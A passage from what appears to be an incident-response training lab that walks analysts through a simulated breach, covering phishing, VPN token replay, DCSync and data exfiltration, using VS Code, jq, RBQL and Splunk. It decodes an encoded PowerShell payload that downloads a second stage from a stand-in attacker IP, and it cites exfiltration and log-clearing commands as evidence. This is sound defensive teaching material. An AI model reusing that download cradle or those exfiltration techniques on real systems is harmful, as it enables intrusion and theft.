2. Decode the PowerShell Payload

In the formatted JSON still open in VS Code, press Ctrl+F and search -Enc — the base64 argument is on the same line. Copy it.

Decode in the integrated terminal — do not paste encoded malware into online decoders:

# PowerShell -Enc uses UTF-16LE encoding
echo "JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABkAD0AJABjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA4ADcALwB1AHAAZABhAHQAZQAnACkA" \
| base64 -d | iconv -f UTF-16LE -t UTF-8

Output:

$c=New-Object System.Net.WebClient;$c.Headers.Add('User-Agent','Mozilla/5.0');$d=$c.DownloadString('https://203.0.113.87/update')

In VS Code Explorer: click sysmon/WS-CFO-01-sysmon.jsonl. Press Ctrl+F, search "EventID": 11 — jumps to the file creation event showing svchost32.exe dropped to AppData\Roaming. The analyst_note field confirms the fake PE timestamp.

# Cross-check: confirm what the PowerShell dropped
jq 'select(.EventID == 11) | {
time: .TimeCreated, dropped_by: .Image, file: .TargetFilename, note: .analyst_note
}' sysmon/WS-CFO-01-sysmon.jsonl

3. M365 Message Trace — Rainbow CSV

In VS Code Explorer: click m365/message-trace-p.levi.csv

With Rainbow CSV installed, every column gets its own color. The status bar at the bottom shows the column name as you move the cursor.

RBQL — SQL queries against the CSV, no Python needed:

Press F5 (or click RBQL in the status bar) to open the query console:

-- Find all emails where authentication failed
SELECT a.received_time, a.sender_address, a.subject,
a.status, a.SCL, a.DKIM_result, a.SPF_result, a.DMARC
FROM a
WHERE a.DMARC == 'fail'
ORDER BY a.received_time

Result pane (right side):

2024-10-22T11:23:07Z | security-noreply@mfa-lifetechpharma.com
| ACTION REQUIRED: MFA Re-enrollment — LifeTech IT Security
| Delivered | 4 | fail | fail | fail

Three auth failures in one row. SCL=4 delivered because the threshold is 5. Add mfa-lifetechpharma.com to IOC list.

-- Sort by SCL descending — highest-confidence spam at top
SELECT * FROM a ORDER BY CAST(a.SCL AS int) DESC
-- Find emails with attachments that failed auth
SELECT a.received_time, a.sender_address, a.subject, a.has_attachment, a.SCL
FROM a
WHERE a.has_attachment == '1' AND a.DMARC == 'fail'

Save RBQL results: click Save to CSV in the result panel → save as 03-analysis/m365-suspects.csv.

Switch to m365/message-trace-m.cohen.csv (click in Explorer):

-- CFO mailbox — find the malicious delivery
SELECT a.received_time, a.sender_address, a.subject, a.SCL, a.DMARC, a.has_attachment
FROM a
WHERE a.DMARC == 'fail' OR a.has_attachment == '1'
ORDER BY a.received_time

Key finding — CFO phishing email:

2024-11-15T15:58:08Z | contracts@globalcontracts-secure.net
| Q4-2024 Licensing Agreement Review — Action Required (URGENT)
| SCL=4 | DMARC=fail | has_attachment=1

The .xlsm attachment was not sandboxed — ATP policy gap (INT-007). Add globalcontracts-secure.net to IOC list.


4. Azure AD Sign-In Analysis

In VS Code Explorer: click azure-ad/signin-p.levi.json

Press Shift+Alt+F to format. Open the Outline (Ctrl+Shift+O) — the array shows four sign-in entries. Click entry [1] to jump to aad-signin-002.

Search Ctrl+F: type Istanbul — jumps directly to the suspicious sign-in. Read surrounding context without running any command:

"city": "Istanbul",
"countryOrRegion": "TR",
"conditionalAccessStatus": "notApplied",
"succeeded": null

Three red flags visible immediately in the file: foreign city, CA bypassed, no MFA.

Full structured extraction in the terminal:

jq '.[] | {
id,
time: .properties.createdDateTime,
ip: .properties.ipAddress,
loc: "\(.properties.location.city), \(.properties.location.countryOrRegion)",
mfa: .properties.authenticationDetails[0].succeeded,
ca: .properties.conditionalAccessStatus,
os: .properties.deviceDetail.operatingSystem
}' azure-ad/signin-p.levi.json

Red flags on aad-signin-002:

FieldValueWhy It Matters
LocationIstanbul, Turkeyp.levi lives in Rehovot, Israel
MFA satisfiednullToken replay — MFA already satisfied when token was issued
Conditional accessnotAppliedCA policy evaluation is skipped for replayed tokens
OSnullUnknown, unregistered device
Time delta+2h17m from sign-in 001Legitimate login 07:14; attacker replay 09:31

5. VPN Log Analysis

In VS Code Explorer: click vpn/anyconnect-2024-10-24.log

VS Code opens the plain syslog file. Use Ctrl+F to navigate without any commands:

  • Search p.levi — highlights every line for this user
  • Search Authentication: successful — the auth event
  • Search Assigned address — the internal IP assigned to the session
  • Search Duration — total session length
# Full session chain in the terminal:
grep "p.levi" vpn/anyconnect-2024-10-24.log \
| grep -E "(716001|716002|734001|Authentication|Teardown|Assigned)"

Output:

Oct 24 00:17:14 ... User <p.levi> IP <185.220.101.47> Authentication: successful
Oct 24 00:17:33 ... User <p.levi> ... Assigned address: 10.10.3.22
Oct 24 02:29:08 ... User <p.levi> ... Duration: 1h12m34s

185.220.101.47 (Istanbul VPN exit) authenticated as p.levi and was assigned 10.10.3.22 — WS-IT-LEVI's own internal IP. All activity during this session looks like it came from the legitimate workstation.

grep -i "mfa\|no.*challenge\|bypass" vpn/anyconnect-2024-10-24.log
# → NOTE: No MFA challenge issued — session token authentication bypass

grep "203.0.113.87" vpn/anyconnect-2024-10-24.log | awk '{print $1,$2,$3}' | head -8
# → ~7-minute C2 beacons during the VPN session window

6. IOC Enrichment — REST Client

Create one .http file that holds every API call. VS Code's REST Client extension puts a Send Request link above each block — click it, the response appears in a split pane on the right. No curl, no terminal, no context switch.

Create the file:

Press Ctrl+N, then Ctrl+Shift+PSave As03-analysis/ioc-queries.http

Paste the following:

### IOC Enrichment — PROJ-2024-001
### Click "Send Request" above any block — response opens in the right pane
### Set keys in VS Code Settings > REST Client > Environment Variables
### or use system env: @VT_KEY = {{$env VT_API_KEY}}

@VT_KEY = your_virustotal_api_key_here
@SHODAN_KEY = your_shodan_api_key_here
@PDNS_KEY = your_passivedns_key_here

# ── VirusTotal ──────────────────────────────────────────────────────

### VT — Primary C2 IP
GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87
x-apikey: {{VT_KEY}}

###

### VT — Secondary C2 / exfil IP
GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44
x-apikey: {{VT_KEY}}

###

### VT — Attacker VPN source
GET https://www.virustotal.com/api/v3/ip_addresses/185.220.101.47
x-apikey: {{VT_KEY}}

###

### VT — Primary C2 domain
GET https://www.virustotal.com/api/v3/domains/telemetry-cdn-services.biz
x-apikey: {{VT_KEY}}

###

### VT — AiTM phishing page domain
GET https://www.virustotal.com/api/v3/domains/mfa-lifetechpharma.com
x-apikey: {{VT_KEY}}

###

### VT — CFO phishing delivery domain
GET https://www.virustotal.com/api/v3/domains/globalcontracts-secure.net
x-apikey: {{VT_KEY}}

###

### VT — svchost32.exe binary hash
GET https://www.virustotal.com/api/v3/files/3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e
x-apikey: {{VT_KEY}}

###

### VT — Imphash pivot (find related samples compiled from same source)
GET https://www.virustotal.com/api/v3/intelligence/search?query=imphash%3A3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d
x-apikey: {{VT_KEY}}

# ── Shodan ──────────────────────────────────────────────────────────

### Shodan — Primary C2 IP (ports, services, hosting org)
GET https://api.shodan.io/shodan/host/203.0.113.87?key={{SHODAN_KEY}}

###

### Shodan — Exfil IP
GET https://api.shodan.io/shodan/host/198.51.100.44?key={{SHODAN_KEY}}

# ── Certificate Transparency ─────────────────────────────────────────

### crt.sh — Find all domains using certs issued to primary C2 IP
GET https://crt.sh/?q=203.0.113.87&output=json

###

### crt.sh — Cert history for primary C2 domain
GET https://crt.sh/?q=telemetry-cdn-services.biz&output=json

# ── RDAP ────────────────────────────────────────────────────────────

### RDAP — AiTM phishing domain registration date
GET https://rdap.org/domain/mfa-lifetechpharma.com

###

### RDAP — CFO phishing delivery domain
GET https://rdap.org/domain/globalcontracts-secure.net

# ── Passive DNS ─────────────────────────────────────────────────────

### PassiveDNS — Historical resolutions for primary C2 IP
GET https://api.passivedns.com/v2/search?q=203.0.113.87
Authorization: Token {{PDNS_KEY}}

Using the response pane:

After clicking Send Request on the VT IP block, the right pane shows the full JSON response. Use Ctrl+F in the response pane to find:

  • malicious"malicious": 12
  • tags["C2", "malware"]
  • as_owner"Hostwinds LLC"

For the crt.sh response, Ctrl+Fname_value to see all co-hosted domains. cdn-telemetry-update.biz and windows-cdn-service.net appear — new IOCs not yet seen in the org's DNS logs. Switch to dns-queries.csv and Ctrl+F to check immediately.

Commit the .http file — it is a reproducible audit trail of every enrichment query:

git add 03-analysis/ioc-queries.http
git commit -m "PROJ-2024-001: IOC enrichment queries — VT, Shodan, crt.sh, RDAP"

7. Sandbox Analysis — Submit the Binary

Submit svchost32.exe (recovered via CrowdStrike RTR) to a sandbox. ANY.RUN is the recommended choice for training — it is interactive and lets you watch execution in real time.

Submission (ANY.RUN):

  1. Navigate to app.any.runNew TaskUpload
  2. Upload svchost32.exe
  3. Environment: Windows 10 x64, User mode (realistic CFO context)
  4. Network mode: Fake for training / Real with IDS for live investigations
  5. Timeout: 600 seconds — the ~7-minute beacon interval requires this
  6. Click Run

Download the report to VS Code:

After execution completes, click ExportJSON in ANY.RUN. Save it as:

03-analysis/sandbox-svchost32-anyrun.json

Open in VS Code: press Shift+Alt+F to format. Use Ctrl+Shift+O (Outline) to navigate, Ctrl+F to search:

Search termWhat you find
connectionsNetwork connections: 203.0.113.87:443 and 198.51.100.44:443
registryRun key written to HKCU\...\Run\WindowsHostSvc
filesUpdateHelper.tmp created and renamed to .dll
interval~7-minute beacon interval confirmed

Get the hash of UpdateHelper.dll from the report, add it to ioc-queries.http, and click Send Request to pivot on VT immediately.


8. Static Binary Analysis — Hex Editor + Terminal

Open the binary in VS Code Hex Editor:

In VS Code Explorer, right-click svchost32.exeOpen WithHex Editor

The file opens as a hex+ASCII dual-pane view. The ASCII column on the right makes string hunting visual — scroll through it and C2 strings like 203.0.113.87 are readable directly without running strings.

Navigate to the PE timestamp:

Press Ctrl+G → type 3C → Enter. This is the e_lfanew field (PE header pointer). Read the 4-byte little-endian value there, convert to decimal — that is the offset to the PE signature (PE\0\0). Go to that offset + 8 for the TimeDateStamp field.

For precise extraction, split the screen: keep Hex Editor on the left, open the integrated terminal on the right:

python3 -c "
import pefile, datetime, os
pe = pefile.PE('svchost32.exe')
ts = pe.FILE_HEADER.TimeDateStamp
print(f'Compile timestamp : {datetime.datetime.utcfromtimestamp(ts)} UTC')
print(f'File size on disk : {os.path.getsize(\"svchost32.exe\"):,} bytes')
print(f'PE SizeOfImage : {pe.OPTIONAL_HEADER.SizeOfImage:,} bytes')
overlay = os.path.getsize('svchost32.exe') - pe.OPTIONAL_HEADER.SizeOfImage
if overlay > 0:
print(f'Overlay detected : {overlay:,} bytes after PE end')
print(f'imphash : {pe.get_imphash()}')
"
# Verify the 2018 timestamp is forged — check for post-2018 Windows APIs
python3 -c "
import pefile
post_2018 = {'SetProcessDpiAwarenessContext', 'GetSystemCpuSetInformation', 'CreatePseudoConsole'}
pe = pefile.PE('svchost32.exe')
for e in pe.DIRECTORY_ENTRY_IMPORT:
for i in e.imports:
if i.name and i.name.decode() in post_2018:
print(f'Post-2018 API: {e.dll.decode()}::{i.name.decode()}')
"

Output:

Post-2018 API: USER32.dll::SetProcessDpiAwarenessContext

Extract C2 strings:

strings svchost32.exe | grep -E "(https?://|\.biz|\.net|cdn|recv|update|sys-|Mozilla)"

sys-update-cdn.net in the string output links this binary to the R&D server exfiltration path — the same domain that appeared in dns-queries.csv during the formula theft.

Paste the imphash into the ioc-queries.http file (already open in VS Code) and click Send Request on the imphash pivot block to find related samples immediately.


The ioc-queries.http file already contains the Shodan, crt.sh, and RDAP blocks. Click through them.

For the crt.sh response: press Ctrl+F in the response pane, search name_value. Two new domains appear: cdn-telemetry-update.biz and windows-cdn-service.net.

Immediately pivot in VS Code global search:

Press Ctrl+Shift+F, type cdn-telemetry-update:

palo-alto/dns-queries.csv → (no results)

Not in the org's DNS logs — but add both new domains to the IOC list in case they appear in a broader hunt.

For the RDAP response (AiTM domain): Ctrl+Fregistration → date 2024-10-18. The phishing email was sent 4 days later. Targeted, purpose-built infrastructure.


10. NGFW Log Analysis — Rainbow CSV

In VS Code Explorer: click palo-alto/ngfw-flows.csv

Rainbow CSV colorizes columns. The status bar shows column names as you move the cursor.

RBQL — find the exfiltration row:

Press F5:

SELECT a.receive_time, a.src, a.dst_ip, a.dst_port,
CAST(a.bytes_sent AS int) / 1048576 AS bytes_MB,
a.elapsed_time, a.app, a.action
FROM a
WHERE a.dst_ip == '198.51.100.44'

Result pane:

2024-11-06T00:14:14Z | 10.10.2.15 | 198.51.100.44 | 443 | 381.0 | 305 | ssl | allow

381 MB confirmed in one query line. No Python, no grep.

Largest transfers overall — top 5:

SELECT a.receive_time, a.src, a.dst_ip,
CAST(a.bytes_sent AS int) / 1048576 AS bytes_MB
FROM a
ORDER BY CAST(a.bytes_sent AS int) DESC LIMIT 5

External destination frequency — find all non-RFC-1918 destinations:

SELECT a.dst_ip, COUNT(a.dst_ip) AS connections
FROM a
WHERE NOT (a.dst_ip LIKE '10.%' OR a.dst_ip LIKE '192.168.%')
GROUP BY a.dst_ip
ORDER BY COUNT(a.dst_ip) DESC

Click palo-alto/dns-queries.csv in Explorer:

C2 domain frequency — beacon pattern visible immediately:

SELECT a.query, COUNT(a.query) AS queries, a.category
FROM a
GROUP BY a.query, a.category
ORDER BY COUNT(a.query) DESC

Result:

telemetry-cdn-services.biz | 9 | malware

9 queries of the same external domain from internal hosts — not CDN traffic. The malware category label from Palo Alto confirms it.

Beacon timing — filter to C2 domain and sort by time:

SELECT a.receive_time, a.src, a.query, a.response
FROM a
WHERE a.query == 'telemetry-cdn-services.biz'
ORDER BY a.receive_time

The ~7-minute intervals are visible in the sorted result. No Python datetime script needed.

Cross-reference with flows — does the DNS match a flow?

Press Ctrl+Shift+F in VS Code: search telemetry-cdn-services.biz:

dns-queries.csv lines 13-22: 9 DNS queries, first at 2024-11-01T07:14:00Z
ngfw-flows.csv lines 8-16: corresponding HTTPS flows to 203.0.113.87

11. SQL Audit Log Analysis

In VS Code Explorer: click sql-audit/SERVER-RD-02-sql-audit.jsonl

Each line is a JSON object. Use Ctrl+F to navigate directly to key events:

Search termJumps to
xp_cmdshellShell execution events
AuditLogAdversary OPSEC recon (SELECT) and anti-forensics (DELETE)
UploadFileThe exfiltration command
Compress-ArchiveThe staging command

Full chain in the terminal:

jq -r '[.EventTime, .LoginName, .StatementType, (.Statement[0:90])] | @tsv' \
sql-audit/SERVER-RD-02-sql-audit.jsonl

Six events: enumerate → recon (SELECT AuditLog) → stage → exfil → cleanup → anti-forensics (DELETE AuditLog). The DELETE at 00:15:22Z failed because Splunk had already ingested these rows before it ran.


12. Windows Security Event Log Analysis

In VS Code Explorer: click windows-security/DC01-security.jsonl

Press Ctrl+F, search 4662 — jumps to the DCSync event. The analyst_note gives the human-readable summary in the file itself:

🔴 CRITICAL: DCSync — DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
from WORKSTATION IP 10.10.3.22 (WS-IT-LEVI). NOT a DC. NOT in pentest VLAN (10.10.99.x).
# All three DCSync events — domain, krbtgt, Administrator
jq 'select(.EventID == 4662) | {
time: .TimeCreated, subject: .SubjectUserName, object: .ObjectName
}' windows-security/DC01-security.jsonl

Output:

{"time": "2024-11-06T00:48:33Z", "subject": "svc_backup", "object": "DC=lifetechpharma,DC=local"}
{"time": "2024-11-06T00:48:44Z", "subject": "svc_backup", "object": "CN=krbtgt,CN=Users,DC=..."}
{"time": "2024-11-06T00:48:51Z", "subject": "svc_backup", "object": "CN=Administrator,CN=..."}

krbtgt and Administrator DCSync'd — golden ticket capability obtained. Full domain credential rotation required.

Click windows-security/SERVER-RD-02-security.jsonl:

Ctrl+F4663 — file access events. Ctrl+F5156 — network connection event.

jq 'select(.EventID == 4663) | .ObjectName' \
windows-security/SERVER-RD-02-security.jsonl | jq -s 'length'
# → 47 (47 formula files accessed)

jq 'select(.EventID == 5156) | {
time: .TimeCreated, process: (.Application | split("\\\\") | last),
src: .SourceAddress, dst: .DestAddress, dst_port: .DestPort
}' windows-security/SERVER-RD-02-security.jsonl
# → PowerShell → 198.51.100.44:443 at 00:14:14Z

Three independent sources — SQL audit (00:13:54Z command issued), NGFW flow (00:14:14Z bytes transferred), Windows Security EID 5156 (00:14:14Z connection initiated) — triangulate to the same 20-second window.


VS Code's Ctrl+Shift+F searches across every open file simultaneously. Use it to verify IOC presence across all evidence in seconds — no SIEM needed for these basic pivots.

Pivot on the exfil IP:

Ctrl+Shift+F198.51.100.44:

ngfw-flows.csv line 12: ...10.10.2.15,198.51.100.44,443,...399481224...
dns-queries.csv line 10: ...sys-update-cdn.net,A,198.51.100.44...
sql-audit.jsonl line 4: ...WebClient.UploadFile...198.51.100.44/recv...
SERVER-RD-02-security line 23: ..."DestAddress":"198.51.100.44"...

Four files, four hits, one IP. The full exfiltration chain is visible in one search.

Pivot on the compromised account:

Ctrl+Shift+Fsvc_backup:

DC01-security.jsonl lines 7-9: DCSync events
SERVER-RD-02-security lines 1-12: SMB logon + file access + exfil
sql-audit.jsonl all 6 lines: full xp_cmdshell chain

Pivot on the C2 domain:

Ctrl+Shift+Ftelemetry-cdn-services.biz:

dns-queries.csv lines 13-22: 9 beacon queries
vpn/anyconnect.log lines 34-47: C2 connections during VPN session

The full attack chain — from AiTM phishing through VPN access, formula exfiltration, DCSync, and CFO infection — is navigable via four global searches without opening a SIEM.


14. Splunk Correlation (SIEM Validation)

Load the evidence into Splunk from the VS Code integrated terminal to validate that the Sigma rules fire on the real evidence:

/opt/splunk/bin/splunk add oneshot sysmon/WS-CFO-01-sysmon.jsonl \
-sourcetype sysmon_json -index endpoint -host WS-CFO-01

/opt/splunk/bin/splunk add oneshot windows-security/DC01-security.jsonl \
-sourcetype wineventlog -index wineventlog -host DC01

/opt/splunk/bin/splunk add oneshot windows-security/SERVER-RD-02-security.jsonl \
-sourcetype wineventlog -index wineventlog -host SERVER-RD-02

/opt/splunk/bin/splunk add oneshot palo-alto/ngfw-flows.csv \
-sourcetype pan:traffic -index firewall -host pa-3260

/opt/splunk/bin/splunk add oneshot palo-alto/dns-queries.csv \
-sourcetype pan:dns -index firewall -host pa-3260

/opt/splunk/bin/splunk add oneshot sql-audit/SERVER-RD-02-sql-audit.jsonl \
-sourcetype mssql_audit -index database -host SERVER-RD-02

Query 1 — triage: C2 IPs across all indexes:

index=* (203.0.113.87 OR 198.51.100.44) earliest=-30d
| stats count by host, sourcetype, index
| sort -count

Query 2 — DCSync from non-DC (DET-002 validation):

index=wineventlog EventCode=4662
ObjectType="{19195a5b-6da0-11d0-afd3-00c04fd930c9}"
| where NOT match(IpAddress, "^10\.10\.1\.(10|11)$")
| table _time, host, SubjectUserName, IpAddress, ObjectName, Properties

Query 3 — service account off-hours (DET-003 validation):

index=wineventlog EventCode=4624 LogonType=3
TargetUserName=svc_backup
| eval hour=strftime(_time, "%H")
| where hour < 6 OR hour > 22
| table _time, host, TargetUserName, IpAddress | sort _time

Query 4 — exfil scope:

index=wineventlog EventCode=4663 ObjectName="*USPartner2024*"
| stats count as files_accessed, min(_time) as first, max(_time) as last by SubjectUserName, host

Query 5 — full 24-day timeline:

index=* earliest=2024-10-22 latest=2024-11-16
(host=WS-IT-LEVI OR host=WS-CFO-01 OR host=SERVER-RD-02 OR host=DC01)
| eval summary=coalesce(Message, Statement, query, CommandLine, "event")
| table _time, host, sourcetype, summary | sort _time

Commit all analysis artifacts

git add 03-analysis/
git commit -m "PROJ-2024-001: evidence analysis — VS Code investigation complete; REST Client queries, RBQL, binary hex analysis, DCSync confirmed, exfil 381MB corroborated in 3 sources"

The timeline in Step R2 is now fully supported. Every event in the table has a source log opened in VS Code, a query or search that confirmed it, and a REST Client or terminal command a third party can replay independently.



Step R2: Timeline — Two Paths, One Actor

1. Open the timeline file

nano 03-analysis/timeline/timeline.md

The template has a header block and a markdown table. Fill the header first:

Project: PROJ-2024-001
Analyst: [your name]
Last updated: 2024-11-15
Time range: 2024-10-18 – 2024-11-15
Evidence label key: CONFIRMED / CORROBORATED / INFERRED / HYPOTHESIZED / GAP

Then add one row per event. Every row needs: timestamp (UTC), host, what happened, which log source you saw it in, an evidence label, and the ATT&CK technique. If you do not have a technique yet, leave it blank and come back — do not skip the label.

2. Add events in chronological order

The timeline reveals what the CFO alert obscured: the breach started 24 days earlier through a completely different person.

#Timestamp (UTC)HostEventSourceLabelATT&CKNotes
12024-10-18(external)lifetechpharma-corp[.]eu registered — typosquatOSINTCONFIRMEDT1583.001Pre-attack infra prep
22024-10-22 11:23ExchangePhishing email to p.levi: "MFA Re-enrollment Required" — AiTM HTML attachmentM365 ATPCONFIRMEDT1566.001ATP SCL=4, delivered (threshold: 5)
32024-10-22 11:31WS-IT-LEVIUnknown — GAP-001 beginsGAPSysmon forwarder stopped
42024-10-24 02:17Azure AD + VPNVPN login as p.levi from Istanbul, Turkey (ASN: hosting/VPS). No MFA challenge recorded. 1h 12min session.Azure AD sign-inCONFIRMEDT1557, T11334:17 AM local time; Paz Levi lives in Rehovot
52024-10-24 02:19DC01EID 4624: network logon for svc_backup from WS-IT-LEVI (10.10.3.22) — service account, outside business hoursWindows Security (Splunk)CONFIRMEDT1078.002svc_backup has Domain Admin rights (see note)
62024-10-25 03:41SERVER-FIN-01svc_backup accessed \\SERVER-FIN-01\\FinanceReports\\2024\\File share audit (partial)CORROBORATEDT1039Log incomplete — access timestamp only, not filenames
72024-11-01 09:14WS-IT-LEVIGAP-001 ends. First DNS query to telemetry-cdn-services[.]biz → 203.0.113.87. First C2 beacon from this host.Palo Alto DNSCONFIRMEDT1071.001Sysmon service and forwarder restart at same time — probable anti-forensics
82024-11-01 09:18SERVER-RD-02EID 4624: svc_backup SMB Type 3 logon from WS-IT-LEVIWindows SecurityCONFIRMEDT1021.002Four minutes after C2 reconnection
92024-11-06 02:09SERVER-RD-02EID 4624: svc_backup SMB logon from WS-IT-LEVIWindows SecurityCONFIRMEDT1021.002Off-hours access
102024-11-06 02:10–02:14SERVER-RD-02EID 4663 ×47: svc_backup accessed all 47 files in \\USPartner2024\\ — read + modified timestamp updatedWindows SecurityCONFIRMEDT1039Each file individually accessed; timestamps modified suggests deliberate metadata manipulation
112024-11-06 02:14SERVER-RD-02EID 5156: outbound HTTPS from SERVER-RD-02 to external IP, port 443, during file access windowWindows Security + firewallCONFIRMEDT1041Destination IP confirmed in Palo Alto NGFW log: 198.51.100.44 — separate C2 from primary
122024-11-06 02:48DC01EID 4662: svc_backup requested DS-Replication-Get-Changes on DC01Windows SecurityCONFIRMEDT1003.006DCSync indicator — pentest scope did NOT include DCSync; pentest VLAN is 10.10.99.0/24, this event is from 10.10.3.22
132024-11-15 17:58ExchangePhishing email to m.cohen (CFO): "Q4-2024 Licensing Agreement" — .xlsm attachment. SPF/DKIM/DMARC all fail.M365 Message TraceCONFIRMEDT1566.001Second entry point — 24 days after first
142024-11-15 18:42WS-CFO-01Outlook → PowerShell -NonI -W Hidden -Enc → downloads second-stage from 203.0.113.87CrowdStrike + Sysmon EID 1CONFIRMEDT1059.001Triggering alert
152024-11-15 18:46–20:52WS-CFO-01LSASS memory access (Sysmon EID 10, GrantedAccess 0x1010); persistence via Registry Run Key + scheduled task; BITS download of second-stage binarySysmon EID 10/11/13, EID 4698CONFIRMEDT1003.001, T1547.001, T1053.005, T1197svchost32.exe dropped to AppData\Roaming
162024-11-15 20:52SERVER-FIN-01WMI lateral movement: WmiPrvSE → PowerShell -Enc with different base64 payloadCrowdStrikeCONFIRMEDT1021.003, T1059.001svc_finreport credentials used
172024-11-15 21:01SERVER-FIN-01Finance data staged: FR_2024_consolidated.zip created in C:\\Windows\\Temp\\CrowdStrike EID 11CONFIRMEDT1039, T15602.8 MB upload confirmed in firewall logs at 21:14
182024-11-15 21:14WS-CFO-01wevtutil.exe cl Security — Windows Security log partially clearedCrowdStrikeCONFIRMEDT1070.001Sysmon log intact (protected channel)

The evidence label system matters here. Event 12 (DCSync) is CONFIRMED — it exists in DC01's Windows Security log, forwarded to Splunk, from an IP that is definitively WS-IT-LEVI and definitively not the pentest VLAN. That cannot be waved away as "possible pentest activity." Event 6 (finance server access) is CORROBORATED — single source with incomplete log — and can only appear in the technical report with an explicit qualifier, not in the executive brief as a stated fact.

3. Save and commit

git add 03-analysis/timeline/timeline.md
git commit -m "PROJ-2024-001: timeline — 18 events Oct 18–Nov 15, dual-path confirmed, GAP-001 bounds established"

Step R3: Claims Ledger — Every Assertion Traced to Evidence

1. Open the claims ledger

nano 03-analysis/claims/claims-ledger.md

The template has a table with six columns: ID, Claim, Evidence, Confidence, Competing Hypotheses, PIR. Start with an empty row for each major assertion you identified in the timeline — then fill each one completely before moving to the next.

For each row, answer these five questions before typing a word:

  1. What is the exact assertion? (One sentence, falsifiable — could in principle be proven false)
  2. Which file and line number is the evidence in? (Not "we saw in Splunk" — the actual log reference)
  3. What confidence level and why? (High / Medium / Low / Insufficient — with explicit rationale)
  4. What alternative explanations were considered — and why were they ruled out or left open?
  5. Which PIR does this answer?

If you cannot answer question 4, the claim is not ready to write. Think first.

2. Fill in one claim per confirmed technique or PIR answer

The claims ledger converts the timeline into auditable, falsifiable assertions. Each claim answers five questions: what, evidence, confidence, competing hypotheses, which PIR.

IDClaimEvidenceConfidenceCompeting HypothesesPIR
CL-001Initial access was via AiTM phishing against IT admin p.levi on October 22, 2024M365 ATP log (AiTM HTML lure delivered 11:23, opened 11:31); VPN login from Istanbul 02:17 Oct 24 with no MFA — stolen session tokenHighCredential purchase / insider — cannot rule out without WS-IT-LEVI disk forensics (blocked by legal hold). However, AiTM lure + token replay pattern is more parsimonious.PIR-002
CL-002The adversary used svc_backup Domain Admin credentials to access SERVER-RD-02 and the formula filesEID 4624 on SERVER-RD-02 (svc_backup, Type 3, from WS-IT-LEVI); EID 4663 ×47 on formula filesHighLegitimate backup operation — ruled out: backup jobs run from SERVER-WSUS-01 (10.10.4.x), not WS-IT-LEVI; timestamp 02:09 UTC is outside maintenance windowPIR-002
CL-003The 47 formula files in USPartner2024 were exfiltrated on November 6, 2024EID 4663 ×47 (files accessed); EID 5156 (outbound HTTPS from SERVER-RD-02 at same time); Palo Alto NGFW flow: 10.10.2.15 → 198.51.100.44:443, 381 MB outbound at 02:14–02:19 UTCHighFiles read for indexing/backup — ruled out: no backup job at this time; volume (381 MB) matches compressed formula package; destination IP not in allowlist and resolves to VPS hosting providerPIR-001 ANSWERED: YES
CL-004DCSync was executed via svc_backup Domain Admin rights on November 6 at 02:48 UTCDC01 EID 4662 with DS-Replication-Get-Changes GUID, from 10.10.3.22 (WS-IT-LEVI), SubjectUserName svc_backupHighLegitimate AD replication — ruled out: event originates from a workstation IP, not a DC; authorized pentest scope explicitly excluded DCSync and used 10.10.99.x IPs onlyPIR-003
CL-005Path A (CFO, Nov 15) and Path B (IT admin, Oct 22) are the same threat actorShared PE fake compile timestamp (2018-04-09) in both svchost32.exe and UpdateHelper.dll; shared secondary C2 sys-update-cdn[.]net hard-coded in CFO implant and used in SERVER-RD-02 DNSHighCoincidental — two actors happened to target same org simultaneously using near-identical toolchain: extremely implausiblePIR-002
CL-006The adversary achieved full domain compromise via DCSync; all Active Directory credentials must be treated as compromisedCL-004 (DCSync confirmed); svc_backup held Domain Admin rights; DCSync requests krbtgt and privileged account hashesHighDCSync may have been partial or failed — cannot confirm without DC01 full log access. Treating as full compromise is the conservative and correct operational response until disproven.PIR-003

CL-003 is the pivotal claim. The US partner's formulas are gone. That drives the PIR-001 answer and the entire notification timeline. CL-004 and CL-006 change the scope of remediation from "contain these three hosts" to "rotate all AD credentials, treat all 80 servers as potentially compromised."

3. Update project.yml PIR status

When a PIR is answered, open project.yml and change the status field immediately:

nano project.yml

Change:

- id: PIR-001
status: open

To:

- id: PIR-001
status: answered # CL-003 — exfiltration confirmed, 381 MB, Nov 6

4. Commit the claims ledger

git add 03-analysis/claims/claims-ledger.md project.yml
git commit -m "PROJ-2024-001: claims — 6 claims; PIR-001 ANSWERED YES (CL-003 exfil confirmed); PIR-003 CONFIRMED ONGOING (CL-006 DCSync)"

Step R4: ATT&CK Mapping — Where Detection Failed

1. Open the ATT&CK mapping file

nano 03-analysis/attck-mapping/attck-mapping.md

For each technique you identified in the timeline, add one row. The four columns that matter most operationally are: Confidence (how sure are you the technique was used), Rule Fired? (yes/no/partial — check your SIEM), and Gap Type (what kind of work is needed to close this detection hole).

Gap types: Rule missing / Data source missing / Coverage incomplete / Architectural gap. Pick one. If you are unsure, write your best guess and flag it for SOC review.

Also update project.yml — fill the attck_techniques list:

nano project.yml
scope:
attck_techniques:
- T1566.001
- T1557
- T1133
- T1078.002
- T1059.001
- T1003.001
- T1003.006
- T1021.003
- T1197
- T1047
- T1070.001
- T1547.001

2. Fill one row per technique

#TechniqueEvidenceConfidenceRule Fired?Gap Type
T1566.001Phishing attachment (CFO xlsm)M365 ATP logHighPartial — ATP delivered (SCL=4, threshold 5)Coverage incomplete — SCL threshold tuning
T1557AiTM credential theft (IT admin)VPN login pattern + AiTM HTML lureHighNoRule missing — no AiTM session token detection
T1133VPN access with stolen credentialsVPN log: Istanbul, off-hours, no prior historyHighNoRule missing — no anomalous VPN auth alert
T1078.002Valid account abuse (svc_backup)EID 4624 (multiple)HighNoRule missing — service account off-hours logon undetected
